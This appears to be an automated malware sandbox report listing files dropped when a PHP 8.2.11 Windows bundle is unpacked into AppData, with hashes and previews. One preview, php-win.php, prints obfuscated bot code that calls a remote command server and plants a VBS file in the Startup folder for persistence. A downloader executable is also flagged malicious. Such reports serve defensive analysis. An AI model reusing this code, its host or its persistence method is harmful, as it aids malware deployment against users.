Preview:	PHP NEWS..\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|..28 Sep 2023, PHP 8.2.11....- Core:.. . Fixed bug GH-11937 (Constant ASTs containing objects). (ilutov).. . Fixed bug GH-11790 (On riscv64 require libatomic if actually needed)... (Jeremie Courreges-Anglas).. . Fixed bug GH-11876: ini_parse_quantity() accepts invalid quantities... (Girgias).. . Fixed bug GH-12073 (Segfault when freeing incompletely initialized.. closures). (ilutov).. . Fixed bug GH-12060 (Internal iterator rewind handler is called twice)... (ju1ius).. . Fixed bug GH-12102 (Incorrect compile error when using array access on TMP.. value in function call). (ilutov)....- DOM:.. . Fix memory leak when setting an invalid DOMDocument encoding. (nielsdos)....- Iconv:.. . Fixed build for NetBSD which still uses the old iconv signature... (David Carlier)....- Intl:.. . Fixed bug GH-12020 (intl_

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\nghttp2.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	228352
Entropy (8bit):	5.07326788865085
Encrypted:	false
SSDEEP:	3072:e8nc6XxUr72c6asK25enccQmkQkxwX+GorWTmMWCxnIsfFoliLcK0lAMUi1:eGmMK25W5+liLcK0lAMUi
MD5:	ACD2CD76882B3296BFAAAF6FB45A916E
SHA1:	19ECD6099A538C35BF8A205BC0612BD6F460B938
SHA-256:	BC12302C8ED823FDF827F40F007246BE56EFAA69AAC9B7E9DF5836D5B32E326A
SHA-512:	1CC6938A10DC1AFCA058B3F02253F87B92466EB3FFAFF7056AC34BA68412496DE36AEE1FA69B55B699A3B17294C19B3ADD6E56D44DA6FC1008DDAEE8B40CD1FB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x.c.<...<...<...5...4...n...?...n...0...n...4...n...8...Y...>...<...........+.......=.......=...<...=.......=...Rich<...........PE..d......c.........." ......................................................................`..........................................$..."..............i....`..p...............D...T...8...............................8............................................text............................... ..`.rdata..57.......8..................@..@.data........P.......6..............@....pdata..<....`... ...<..............@..@.idata...............\..............@..@.00cfg..Q............j..............@..@.rsrc...i............l..............@..@.reloc..V............v..............@..B................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\phar.phar.bat

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.111629289283939
Encrypted:	false
SSDEEP:	3:mWmAtnUk9EX5n:d3GkmJ
MD5:	9C8D6858FE19259B1BE399080BE8608F
SHA1:	CAA83D1D0AA6865E6A357AAD820C45EE19EBDF8C
SHA-256:	EF0F0BD1E919EE96C7D20547F7A823218CD73452F36C47D1A22F2726D5D64308
SHA-512:	9585E997A18F306DBA6EE8F35DBFBA17D4F782F613A65038DB1BF1CA3D3FF4C2B58F4B41CE96153D12C4E2927F379F7FE590635F5812C9553E303A90AA25E220
Malicious:	false
Preview:	"%~dp0php.exe" "%~dp0pharcommand.phar" %*..

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\pharcommand.phar

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	data
Category:	dropped
Size (bytes):	65969
Entropy (8bit):	4.489844579399281
Encrypted:	false
SSDEEP:	768:HLx4vdbSm8dxT5JAxUDd3mqsEZ+ODgx9KlT/65KwKqKHya2n:HMss4gr065NJOyZn
MD5:	57261E9AE983606A87B6A8E9B2CC2D56
SHA1:	C99B69EAD0E8F24F3FA3EC356FCA5B0897C19693
SHA-256:	28853C7CB69E4C7397BDF9B548CC1CEDCC335FCA66DCCC892E0129D64E92A093
SHA-512:	0E84F60A6210547996785A671C4297D79BB8964141B57FFA814A3FFE3F2272BB06C2B02F5C85F41B5E25CFEDD48888E20C0271ED9231766D2FDC998EB0E8F2D4
Malicious:	false
Preview:	<?php../** @file phar.php. * @ingroup Phar. * @brief class CLICommand. * @author Marcus Boerger. * @date 2007 - 2008. . Phar Command. */..if (!extension_loaded('phar')).{. if (!class_exists('PHP_Archive', 0)) {. echo "Neither Extension Phar nor class PHP_Archive are available.\n";. exit(1);. }. if (!in_array('phar', stream_get_wrappers())) {. stream_wrapper_register('phar', 'PHP_Archive');. }. if (!class_exists('Phar',0)) {. require 'phar://'.__FILE__.'/phar.inc';. }.}..foreach(array("SPL", "Reflection") as $ext).{. if (!extension_loaded($ext)) {. echo "$argv[0] requires PHP extension $ext.\n";. exit(1);. }.}..function command_include($file).{. $file = 'phar://' . __FILE__ . '/' . $file;. if (file_exists($file)) {. include($file);. }.}..function command_autoload($classname).{. command_include(strtolower($classname) . '.inc');.}..Phar::mapPhar();..spl_autoload_register('command_autoload');..new P

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-cgi.exe

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	69120
Entropy (8bit):	5.916169026507824
Encrypted:	false
SSDEEP:	1536:gJYM8t1enVd6AwPjngMDVd4FHX2NfYUJVJ2sgdRdvX9:g6M8enVdUPjDHQmNfYUJVJ2sgzd/9
MD5:	1F4B12FCA9BAD1606DA34B4D5484A9C7
SHA1:	798DD9F56D08C47148823CD68CC0EFA35ECFB48D
SHA-256:	62CC30963A417C651050BEE51A2583500963EE58FA1C614079F579B7448A3F3D
SHA-512:	04F0DF9CA4A98DB522C03D95E5AB3624C9822FB18C7592C9D6F9D584A8350AA426775DEFBF5E6473236FF0D00D4B66565670939C1435A8C35A89676D683BE82E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@.y....,...,...,..,...,V..-...,b..,...,V..-...,V..-...,V..-...,O..-...,...-...,...,...,...-...,...-...,...,...,...-...,Rich...,................PE..d...q..e.........."..........v.................@.............................p............`.............................................P............@.......0...............`.........T.......................(... ...8...............X............................text............................... ..`.rdata..bU.......V..................@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.exe

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.461428834069935
Encrypted:	false
SSDEEP:	768:uGqJhfKQD3qbOQRicjKgrj14eMTQ/+5U2cL5qdq:uG8jGbOQRicRrjO5TQ/+WNmq
MD5:	1FF200E101740BAECE3BA20CB8C38741
SHA1:	E0D33038DD830961F72BBF9AC2A45D34404F6BCC
SHA-256:	49B38E609F05F9E100AEC0AC6CA61AE1A2440276623C11FC7A7224161922C998
SHA-512:	6D5C52515F07F6D527A3EC2C4F891285DFC3C36C74F803B8A5934704C5465E69CA6BB6F6C6E77C0E2EB3A4D4F328AF0EE867585EC3066B279FC7210D080F5ACB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.\./]\./]\./]U..]R./]...\^./]:..]_./]..*\O./]..+\V./]..,\_./]...\X./]...\_./]\..]../]..'\_./]../\]./]...]]./]..-\]./]Rich\./]................PE..d......e.........."......8...Z.......=.........@.........................................`..........................................u.......u.......... ............................l..T....................n..(....l..8............P..(............................text....6.......8.................. ..`.rdata..6<...P...>...<..............@..@.data................z..............@....pdata...............~..............@..@.rsrc... ...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PHP script, ASCII text, with very long lines (9285)
Category:	dropped
Size (bytes):	9292
Entropy (8bit):	5.936670441269636
Encrypted:	false
SSDEEP:	192:PZ5xSkBkpNEuO+OZIiQ9YHwFDvZQsWaKL/cmxDYoBXC9t546RId:wkBkpNEp+OZG/xhs0ROXEt546RId
MD5:	22C0F427228C72076DB41B2F0B14CE4B
SHA1:	12FF9FE8081BFD32FE5AE0E13671ACAEB1B70EBE
SHA-256:	29FCE9FA54E4AB6B4BEE7D0EE074D114B682DF3A656941386BD2438ADDB9092C
SHA-512:	83713A3B10BC2E8DFACA835532CBB053C4858844361C90841BE902D95B61A40ED26EC6544FAF588389F86480BAF59BE90082F3B6B43C6CA7119AB911C14E1C3F
Malicious:	false
Preview:	<?php. $WaDQOBKStVPFGNr = "http://rodgersluciecassy.com/mbp"; $kQnJBXcTfDmsOupyRILAgh = $WaDQOBKStVPFGNr . "/apit.php"; $QoBahiCDNplUEKftjYGXvWMRzs = $WaDQOBKStVPFGNr . "/accept.php?ref=2"; $LAqeyDBGXSRzF = $WaDQOBKStVPFGNr . "/down/"; $ExVlgntRJHDpcUBiSw = false; $TdirPQgoxkvfEZLYAHmcJWb = "config.json"; $SmlVyHuiBfCkJ = "PHP-8.2.vbs"; $tiJvURcgwpkxEmLnZfSay = ""; $kmUYvZFTRgeLCxJOsQ = realpath(dirname(__FILE__)) . "\\" . $TdirPQgoxkvfEZLYAHmcJWb; $eUzT = realpath(__FILE__); $trMHasNubY = sys_get_temp_dir(); $YKLGqi = getenv('APPDATA') . '\Microsoft\Windows\Start Menu\Programs\Startup'; $GUmblxCrJYFuDMoQGt = $YKLGqi."\\".$SmlVyHuiBfCkJ; $lgRhFxzpDTujQySmBCEO = $trMHasNubY."\\".XirzdcNPYGojUMEkVf(5); $bWapICeLQtJny = false; define('bOXVPTKNHdzwflaJeRqi', "aid"); define('MbOXVPTKNHdzwflaJeRqi', "mid"); define('pSuaVT', "data"); define('izGhxDwj', "cstat"); define('rUYPGFtZeNKCWsjmVhdIXOlqba', "cmdid"); define('fBLjhvRkECpwnodGYI', 1); define('CUYzeSfwbG', 2); define('zQouxyfCEwVmbaGHDlR

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	142336
Entropy (8bit):	5.863362794534159
Encrypted:	false
SSDEEP:	3072:PTVD4EGuN3jr9WOJgdMSHVIFg+2b0GnmpOVd/:5D4BuN3j5WO6dH1IFgHb0umpM/
MD5:	FA544CF95C1B82AFC25B9C5C55C5AD73
SHA1:	A225AFCB13AF134C4DD1BFB1C52F776B1B7F61FB
SHA-256:	F2D679B234C73CC6DAB56A09C2664F5BF806BC5D7D9D5B8FA0332D521EEE3E84
SHA-512:	124DEF272214E504B781979C3704587BB54A4B00DDC3C277B5C8010B561805B422B1C7443FEA92C0059B73A3A83FB2063C38763F14E45FD7D94CDA06F7B85EDE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;_.h_.h_.hV.?hK.h...i].h9.QhZ.h...iL.h...iU.h...i[.h...iY.h...i\.h_.hF.h...iZ.h...i^.h..Sh^.h...i^.hRich_.h........PE..d......e.........."..........l......p..........@.....................................+....`.....................................................@....P.......@...............p..........T.......................(.......8............................................text...<........................... ..`.rdata..\3.......4..................@..@.data....,..........................@....pdata.......@......................@..@.rsrc........P......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.ini-development

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	75696
Entropy (8bit):	4.933901725497133
Encrypted:	false
SSDEEP:	1536:cwdwKfjNWOAkBhVCJiMyjYmLrqiNfXLahUnI4:cmwKxRBhQIjYhqahUnI4
MD5:	9E13F4F8377C6B2D167C4EFFA43FE479
SHA1:	3645CE833E1EEBF65945A765006017A2E5CD0554
SHA-256:	2E9293E08C6B120136D9C52DF864C3879226B29D553EEB6AE04D1B19DAFE6F2B
SHA-512:	62E3F371988A8921AE0BCA91E0D99C1F4A513AC4DA420EA9799D3FA61F9C785B210AC510ABBCE2DDDB08279A7F5A569279E88B1DE0066EA39D07019EFB5624AC
Malicious:	false
Preview:	[PHP]....;;;;;;;;;;;;;;;;;;;..; About php.ini ;..;;;;;;;;;;;;;;;;;;;..; PHP's initialization file, generally called php.ini, is responsible for..; configuring many of the aspects of PHP's behavior.....; PHP attempts to find and load this configuration from a number of locations...; The following is a summary of its search order:..; 1. SAPI module specific location...; 2. The PHPRC environment variable...; 3. A number of predefined registry keys on Windows..; 4. Current working directory (except CLI)..; 5. The web server's directory (for SAPI modules), or directory of PHP..; (otherwise in Windows)..; 6. The directory from the --with-config-file-path compile time option, or the..; Windows directory (usually C:\windows)..; See the PHP docs for more specific information...; https://php.net/configuration.file....; The syntax of the file is extremely simple. Whitespace and lines..; beginning with a semicolon are silently ignored (as you probably guessed)...; Section headers (e.g. [Foo]) a

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.ini-production

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	75845
Entropy (8bit):	4.93433530242992
Encrypted:	false
SSDEEP:	1536:cwBwKfjNWkkBhVCJiM3jYmLr0iNfcLahUnI4:cEwKxiBhQFjYFJahUnI4
MD5:	9A2A80EF1CCB27D1E6A430DDF3E84E4A
SHA1:	BEB2802358383C7EBD7EE6959EB7864B3B21A0C2
SHA-256:	8683A1E49C5CAB012792165BAEF3A50528CF420526CA6E5AF096203DB63D7363
SHA-512:	E1271DFA06C71142BC55F7071C1366CFE856E326CC81B4CC6995839244066E174B101B4B1C4EFA3D044173A5D2DFD878E363CF5F82736894B640F7D17E08D0A8
Malicious:	false
Preview:	[PHP]....;;;;;;;;;;;;;;;;;;;..; About php.ini ;..;;;;;;;;;;;;;;;;;;;..; PHP's initialization file, generally called php.ini, is responsible for..; configuring many of the aspects of PHP's behavior.....; PHP attempts to find and load this configuration from a number of locations...; The following is a summary of its search order:..; 1. SAPI module specific location...; 2. The PHPRC environment variable...; 3. A number of predefined registry keys on Windows..; 4. Current working directory (except CLI)..; 5. The web server's directory (for SAPI modules), or directory of PHP..; (otherwise in Windows)..; 6. The directory from the --with-config-file-path compile time option, or the..; Windows directory (usually C:\windows)..; See the PHP docs for more specific information...; https://php.net/configuration.file....; The syntax of the file is extremely simple. Whitespace and lines..; beginning with a semicolon are silently ignored (as you probably guessed)...; Section headers (e.g. [Foo]) a

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8apache2_4.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	5.534045616401495
Encrypted:	false
SSDEEP:	768:r7KL7Ogcb1Pop8sBdeiZwbsAmhbY78hwCcX:r7KLCgcBP28sBdei2OhbY7/Cc
MD5:	C6314C7934BF57B9E362EFB8F44DB927
SHA1:	A0EC97A40FC6D4374114C0F928B7692FE9121E9D
SHA-256:	8317249647E9DA30C346712F9DE5D6679CFA9F25A457F281F019FBA31F3230A1
SHA-512:	FAAC6C9E5BD1AAD38DB2DC082E10AC44632865FCCE1A0F9DCC3BD4115E59E4C88E5523ABD4E1DD0425823B41284322EBC635CAA8CF3D5BA02DA50A2ED80C203E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."...f..Ef..Ef..Eo.~En..E4..Dd..E-..Dd..E...Ee..E4..Dk..E4..Dn..E4..De..E...D`..E...De..Ef..E...E...Db..E...Dg..E...Eg..E...Dg..ERichf..E........PE..d...G..e.........." .....>...J.......C....................................................`A.........................................p..P....p..................p................... d..T....................f..(....d..8............P...............................text....=.......>.................. ..`.rdata...3...P...4...B..............@..@.data................v..............@....pdata..p............z..............@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8embed.lib

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	current ar archive
Category:	dropped
Size (bytes):	934126
Entropy (8bit):	5.316735953734476
Encrypted:	false
SSDEEP:	24576:YG6IbYX2xv8UtCqOxAhDFYh5wvgKvSKuj5hYFDhAxCHD8xFDBA+0zUv2C4q0VJuu:YCCqOxAhDFYh5Dj5hYFDhAxCxWbwna2F
MD5:	38D90065208DA1D895CC718FCDF7207F
SHA1:	42B7D65BCDEAFD473D52CBF25C383079BF8729D2
SHA-256:	D085AEC2171F071A230DE6594AC4B3252491D8C30F47087B07D00F81B31DE949
SHA-512:	F66E7F07F4C6DFED8952010EAC09ADF6C60991DD1DFE1CB3B0551ACE447FC36977490A6930A8DCB8CF9C747CFC1BCE990DC063A40FE9ACCBBE39AF09AF25691A
Malicious:	false
Preview:	!<arch>./ 1695742191 0 222750 `................~...~...........j...j...........@...@.........&...&.................~...~...........N...N.........$...$.................b...b...........:...:.................x...x...........J...J...............................j...j...........Z...Z...........N...N...........P...P...........\...\...........n...n.........................x...x...........t...........J...J...............................v...v...........T...T...........D...D.........&...&...........................................................h...h...........F.................................j...j...........V...V...........L...L.........4...4...........&...&...................................................................\|...\|...........l...l...........X...X...........D...D...........0...0...................................r...r...........\...\...........J...J...........@...@...........,...,...........(...(................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8phpdbg.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	277504
Entropy (8bit):	6.237513941837174
Encrypted:	false
SSDEEP:	6144:3j/sVYUspTJMU5Gjw0u864KwtaxOf9yCPx3lBIzN:bsVYnpVMYGjw6dxVQ
MD5:	D096BED0C306438803F40DAA22F91504
SHA1:	BE0B7EB82334F5250C6D71E3167B23BF51929689
SHA-256:	ADA21F28ED808FFA6ECC6D199D8AC3A8ADC95BF9724443CC4B99371F1666DD44
SHA-512:	CDEEDAA4B2F682FD0E211B0C3C266EC3E1658C5ED3DC945D96093A6FE88226F11A0B4D96A5CA8E6AD427C364FA1B12A6BB4AA7F7F0883A5D2278FAD8B2F5420F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........R..R..R..[.5.\......P......P..4.[.U......\......Z......V.....Q..R..L.....F.....S...Y.S.....S..RichR..................PE..d...C..e.........." .........~...........................................................`A.........................................................`..X....0... ...........p..H...0...T.......................(.......8............................................text............................... ..`.rdata...E.......F..................@..@.data...`.... ......................@....pdata... ...0..."..................@..@.rsrc...X....`.......,..............@..@.reloc..H....p.......6..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8ts.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9077248
Entropy (8bit):	6.586126818604595
Encrypted:	false
SSDEEP:	98304:E7hOE9Uen+KS14ueJmHCqR2nOTA4EMSfV/1Zl2MCFue9eCedq5N6QBAUZLD4LK:E7NJnmWveDR2OTA2r6QVX4e
MD5:	444C82F2BD2C8FE20AAE7654AF26E3C8
SHA1:	E2AD31E2230138DA62605FE2A4FDDCED8A518981
SHA-256:	503D6C312542680A1DA566FE793A8A7173EC0D0EE33474A164073517ECCAFB3F
SHA-512:	0F007B2F4FDBD0FA2EFFE6F32E168B8BB9C9270EDF06CB0ADC310396F6F1B092026090888292D2F04EA0E9D884C49355C6888A1CFDF0B652553EFEFF216331C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......=.u.y...y...y...p...o...+...{.......o...+...u...+...q...+...}...O...........P......k...y.......2...h...............q.......{.......x.......x.......x...Richy...................PE..d...-..e.........." .....VW..(3.......>......................................`...........`A..........................................x...h........0...........i...........@..D...$.n.T.....................o.(.....n.8............pW..............................text...eTW......VW................. ..`.rdata..DB...pW..D...ZW.............@..@.data... ........X..................@....pdata...i.......j..................@..@.rsrc........0.......`..............@..@.reloc..D....@.......j..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\phpdbg.exe

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	279552
Entropy (8bit):	6.235843908006801
Encrypted:	false
SSDEEP:	6144:QVMq2esj6Zv4+xEIu864KMnxOf9yCPx3lB8d:M2ena+xE+0xV2
MD5:	692347C90EBF1227B717A0C8A3DAE8C3
SHA1:	2D96EE9224FF50BC6ADBF3C2B04945151BE7CB1A
SHA-256:	6014457715ED97F72D4B4E372119D7D870299EB2DF1DA5EC5D7A3A61D101F9DA
SHA-512:	090059D7FBBB4D373BAC16995FA418DFF8CDD83DFF70C9CD959C17BFF7D0CEF9EA40431EAAC12C40EBF7AC36B0151284A110DAF11E368541D4F898144BE7C347
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1...1...1...8.k.!...c...3...z...3...W...6...c...$...c...;...c...5.......2...1...........%.......0.......0.......0...Rich1...................PE..d......e..........".................@..........@....................................nC....`..........................................................`.......0... ..............L......T.......................(...@...8............................................text...!........................... ..`.rdata...G.......H..................@..@.data...p.... ......................@....pdata... ...0..."..................@..@.rsrc........`.......,..............@..@.reloc..L............>..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\readme-redist-bins.txt

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	30888
Entropy (8bit):	5.300461092105552
Encrypted:	false
SSDEEP:	768:29wLJhkF4Vg4DJR6I6guWL4hF2Lq4wlHxLL3OMoL9C/QnsJrLOIWcydFkjNvzYgp:TLQX4DOIlL02Lq4wlxLLBKXncrLOQaF8
MD5:	D4EDD51CF7878E1AAFE799E0F5CE3B5A
SHA1:	4F4C5844415D89826814371A7DEF58DEDBC316AC
SHA-256:	878CA254C4EDBB517C614F7234C694E828E2B1519F7858FF4AA696F28B182A29
SHA-512:	39A8630937FB443880177636E3E8EA5FB1E4EF60013077502D278D926BCBD86A91825917213EADA38E93152C2D74E7A1E8C1243B8A4F6344609CAFCD90E1F70E
Malicious:	false
Preview:	1. libmagic (ext/fileinfo) see ext/fileinfo/libmagic/LICENSE.. 2. libmbfl (ext/mbstring) see ext/mbstring/libmbfl/LICENSE.. 3. pcre2lib (ext/pcre).. 4. ext/standard crypt.. 5. ext/standard crypt's blowfish implementation.. 6. ext/standard/rand.. 7. ext/standard/scanf.. 8. ext/standard/strnatcmp.c.. 9. ext/standard/uuencode..10. main/snprintf.c..11. main/strlcat..12. main/strlcpy..13. libgd (ext/gd)..14. ext/phar portions of tar implementations..15. ext/phar/zip.c portion extracted from libzip..16. libbcmath (ext/bcmath) see ext/bcmath/libbcmath/LICENSE..17. ext/mbstring/ucgendat portions based on the ucgendat.c from the OpenLDAP..18. avifinfo (ext/standard/libavifinfo) see ext/standard/libavifinfo/LICENSE..19. xxHash (ext/hash/xxhash)......3. pcre2lib (ext/pcre)....PCRE2 LICENCE..-------------....PCRE2 is a library of functions to support regular expressions whose syntax..and semantics are as close as possible to those of the Perl 5 language.....Releases 10.00 and above of PCRE2 are d

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\snapshot.txt

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2286
Entropy (8bit):	4.47005475174161
Encrypted:	false
SSDEEP:	24:Mvw6OL7ANOxqDvBEEsyodGmlDOfZGpiFGpomfflmicfJmfoZGmMoIB9m4B9CB99w:p6k7yacXOBiZ/dul69HrwqwMIymwMt
MD5:	AA066FEEBCD5370ED6B246B2814DEC7F
SHA1:	5E01108044D6ABAF77779A0AD13BA5FA803E6F57
SHA-256:	5FC601723F752A02F48211C431CCC62E345DA5EB1CFDE87E3A966169E21DBCFC
SHA-512:	96DE7504F50F170868B37720B48F9F49124CA66C8D8940A514D9BA91F83317D167E39D1E18F907C609409CFD28B3B43B2D14088AB41A047D174309CC91073400
Malicious:	false
Preview:	This snapshot was automatically generated on.Tue, 26 Sep 2023 16:00:52 +0000..Version: 8.2.11.Branch: HEAD.Build: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS...Built-in Extensions..===========================..Core..bcmath..calendar..ctype..date..filter..hash..iconv..json..SPL..pcre..readline..Reflection..session..standard..mysqlnd..tokenizer..zip..zlib..libxml..dom..PDO..openssl..SimpleXML..xml..xmlreader..xmlwriter..curl..ftp..sqlite3..Phar..mbstring..mysqli......Dependency information:..Module: php_curl.dll..===========================...libcrypto-3-x64.dll...libssl-3-x64.dll...libssh2.dll...nghttp2.dll....Module: libssl-3-x64.dll..===========================...libcrypto-3-x64.dll....Module: libssh2.dll..===========================...libcrypto-3-x64.dll....Module: php_enchant.dll..===========================...libenchant2.dll....Module: libenchant2.dll..===========================...glib-2.dll...gmodule-2.dll....Module: gmodule-2.dll..===========================...glib-2.dll...

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\vcruntime140.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109440
Entropy (8bit):	6.642252418996898
Encrypted:	false
SSDEEP:	1536:BcghDMWyjXZZIzpdbJhKm6Kuzu8fsecbq8uOFQr+zMtY+zA:BVHyQNdbJAKuzRsecbq8uOFvyU
MD5:	49C96CECDA5C6C660A107D378FDFC3D4
SHA1:	00149B7A66723E3F0310F139489FE172F818CA8E
SHA-256:	69320F278D90EFAAEB67E2A1B55E5B0543883125834C812C8D9C39676E0494FC
SHA-512:	E09E072F3095379B0C921D41D6E64F4F1CD78400594A2317CFB5E5DCA03DEDB5A8239ED89905C9E967D1ACB376B0585A35ADDF6648422C7DDB472CE38B1BA60D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{n...=...=...=l..<...=...=...=...=...=...<...=...<...=...<...=...<...=...=...=...<...=Rich...=........PE..d.....K..........." ...$.....`............................................................`A........................................`C..4....K...............p..\|....\...O...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata..\|....p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	273408
Entropy (8bit):	6.148079366490214
Encrypted:	false
SSDEEP:	6144:NEcJbsK5ZcOHlIrANgOPHF6nHsohRH17nMu:TsfcIrYPoF7n
MD5:	F63E0C410E4CA83CDA47BA4871AEAC30
SHA1:	383EA6241C5E770E291A50448653C14B1090C122
SHA-256:	039AD045C278A28CFC1A4322AF289D7250BED30B82032201CCD5BED3874D99F4
SHA-512:	32654BAA8994F993AFB54A337BABE14B9302CCB04D5A0D936F9CEA234CCD04972F4C3BFA2D8D6F7BB0DB82BDA8C43A17A1868FC1EA9646B5818ECDD727D8B778
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............g.}.g.}.g.}...\|.g.}...\|og.}z..\|.g.}z..\|.g.}...\|.g.}.g.}.g.}z..\|.g.}...\|.g.}S..\|.g.}S..\|.g.}Rich.g.}........................PE..d...P.yg.........."............................@.............................p............`.....................................................d............ ...............`..................................(.......8............................................text...l........................... ..`.rdata...;.......<..................@..@.data...<+..........................@....pdata....... ...0..................@..@_RDATA.......P......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\ConDrv

Download File

Process:	C:\Windows\System32\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.095703110114614
Encrypted:	false
